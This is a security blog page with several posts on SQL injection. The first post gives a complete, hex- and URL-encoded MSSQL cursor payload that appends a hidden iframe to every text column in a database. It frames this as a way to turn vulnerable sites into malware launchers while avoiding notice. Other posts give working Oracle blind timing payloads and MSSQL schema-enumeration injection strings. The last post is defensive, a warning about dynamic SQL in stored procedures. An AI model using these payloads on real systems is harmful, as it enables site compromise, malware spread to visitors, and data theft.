Showing posts with label SQL Injection. Show all posts
Showing posts with label SQL Injection. Show all posts

Thursday, 4 November 2010

Abusing TSQL Cursors for massive SQL Injection

I'm sure that there are plenty of people who already know about this technique. I have just recently discovered it however. Upon research, it looks like some malware goonies were using this to try and spread Zeus. We are going to look at a very fast and nasty way of abusing a SQL Injection vector. We will be abusing TSQL Cursors in order to rewrite a very large amount of data. So let's build this attack.

First we want to craft our ultimate payload. in this case we are going to make an iframe such as this:


Now we want to spray our hidden little iframe all voer the site. In order to maximise our potential of exposing viewers to it, we are gonig to overwrite all the char, varchar,nchar, and nvarchar fields. We will append our iframe to the end of each record, trying to just add ourselves to the existing data and avoid notice for as long as possible. This is where the TSQL Cursor comes into play. We are going to declare a cursor, based off of the sysobjects and syscolumns table in master. We are looking in those tables for a list of all the *char columsn in suer defined tables. We then sue the cursor to fetch each record and append our iframe in. the query should look something like this:

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''''')FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

When we are all done, we close up shop, and deallocate the cursor. If everything went right, then we will be flying under the radar, and it could be a long time before anyone notices what we have done.

So now we have our payload, but we still need to get it in throguh the SQL Injection vector. to do this, we are going to use the Declare,CAST, EXEC method. We will convert our query to hex, which will give us:

0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b27273c696672616d65205352433d22687474703a2f2f636f73696e652d73656375726974792e626c6f6773706f742e636f6d223e272727294645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72

In our Injection string we will Declare a variable "Declare @S", then we will cast our Hex String to nvarchar into @S, and then, finally, we Exec @S. Once we have it built, we then URL encode, and we have a nasty little package to send:

DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b27273c696672616d65205352433d22687474703a2f2f636f73696e652d73656375726974792e626c6f6773706f742e636f6d223e272727294645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72%20AS%20NVARCHAR(4000));EXEC(@S);

This method, could of course b used in a number of different ways, but this is the probably the best bang for the buck. A quick and horribly easy way to turn a vulnerable site into a malware launching platform.

Wednesday, 23 June 2010

Oracle Blind SQL Injection : Timing Based Attack using Heavy Queries

This is a neat little trick my mate and I just learned about while testing an Oracle based application with a blind SQL Injection vector in it. It is not new by any means, nor did we discover it. Check out the defcon presentation that gave us the starting point, here. Conventional wisdom would have you believe that you cannot do timing based blind sqli against oracle, since there's no waitfor delay. What we have done is unioned in a query that, when true initiates a secondary 'heavy' query to the database. What we mean by heavy is that it tries to pull a lot of data, purposely slowing down the response time. Let's take a look at our example:

NULL UNION ALL SELECT SOME_FIELD_1 AS COL1, SOME_FIELD_2 AS COL2,((CASE WHEN EXISTS(SELECT SOME_FIELD_3 FROM SOME_TABLE_2 WHERE 0>(select count(*) from all_users t1, all_users t2,all_users t3,all_users t4) AND 1=1) THEN 'own' ELSE 'pwn' END)) as COL3 FROM SOME_TABLE_1,SOME_TABLE_2 ,DUAL WHERE --
 This shows us a true example which should trigger based on the 1=1. So for this query we will see a noticeable delay over the same query with 1=1 replaced by 1=2. that tells us that a true condition will take much longer to reply now. So all we have to do is replace the simple 1=1/1=2 structure with our own test parameters. This is where you get into inserting your counts,lengths, and ascii(substr portions and slowly and methodically enumerate out every last bit of data in the system. This is a great technique to sue when other Blind Injection techniques fail.

Monday, 7 June 2010

SQL Injection Tip of the Day: Table and Column enumeration in a single row

I will be getting around to putting together a comprehensive cheat sheet for sql injection. In the meantime, I figured I would release bits and pieces that I have found particularly useful. Today I want to talk about getting database schema metadata from Microsoft SQL Server 2005 and 2008(the technique may be slightly different for 2000).

This assumes you already have a sql inejction vector that allows serialisation of queries and union queries, and that the db user has create rights, although it can be modified to use update/insert into existing tables instead. So let's say you have found a sql injection vulnerability, but it will only return one row of results. That makes it an exceptionally arduous task to enumerate all the tables and their columns, one at a time. You can concatenate rows very easily, but you can't use concatenation against columns. This is where arrays come in to save the day. The first step is to inject a string like this:

';CREATE TABLE CT1 (tablenames VARCHAR(8000));DECLARE @tablens varchar(7999); SELECT @tablens=COALESCE(@tablens+';' , '') + name from dbo.sysobjects where xtype='U'; INSERT INTO CT1(tablenames) Select @tablens;--

Remember to encode as needed. This creates a new table called CT1 with a max size varchar as it's only column. It then creates an array called tablens, and selects the entire name column from dbo.sysobjects where the object is a user table. Finally it inserts the array in semicolon delimited format into our newly created table.

Then we just do something silly like:
' UNION Select tablenames,@@rowcount,@@servername,1,2,3,4,5 from CT1;DELETE from CT1;--

This of course returns the results, and clears the table out from behind us. We should now have all of the tablenames in this database. Using that we use the same attack vector, just slightly tweaked:


';DECLARE @tablens varchar(7999); SELECT @tablens=COALESCE(@tablens+',' , '') + name from syscolumns where id=object_id('Table1'); INSERT INTO CT1(tablenames) Select @tablens;--
and
' UNION Select tablenames,@@rowcount,@@servername,1,2,3,4,5 from CT1;DELETE from CT1;--

Now what I did, after making sure it worked, was to create a quick perl script. This perlscript took the list of tablenames, and custom generated the above attack strings for each table and put them into a text file. I then loaded this file into Burp Intruder as a custom payload, and let it run. Burp has enumerated almost all of the tables in a couple of minutes(this db had over 100 tables). Then it's just a matter of dumping all the results somewhere and pouring over it. Using this method, you can go from your proven sql injection vector to a map of the whole database in a very short amount of time.

And as ever, this showcases why Burpsuite Pro is a tester's best tool. How I ever worked without it is a mystery.

Monday, 24 May 2010

Stored Procedures do not necessarily prevent SQL Injection

It seems that a lot of people think that just because an application uses stored procedures, it's queries must be safe. This absolutely false. Stored Procedures do not inherently add security, as they can be put together as poorly as any dynamically built query. I saw a perfect example of this the other day. An application took inputs, passed them to a stored procedures which then built a sql query by concatenating the inputs with predefined query strings. It then called sp_executesql to execute the dynamic query. The developer obviously had heard that stored procedures were safer than dynamic queries, so they went and made an SP, but they had their SP build a dynamic query. So all they succeeded in doing was pushing the problem back into the database layer instead of the app itself.

So testers and developers, please do not assume that an sp means safe. you still have to properly parameterize your queries and validate input and output. Security and shortcuts do not go together. If you think you may have vulnerable SPs like this, try running a query such as SELECT object_Name(id) FROM syscomments WHERE UPPER(text) LIKE  '%SP_EXECUTESQL%' OR UPPER(text) LIKE  '%EXECUTE%' OR UPPER(text) LIKE  '%EXEC%'
 to try and see where these venerabilities are.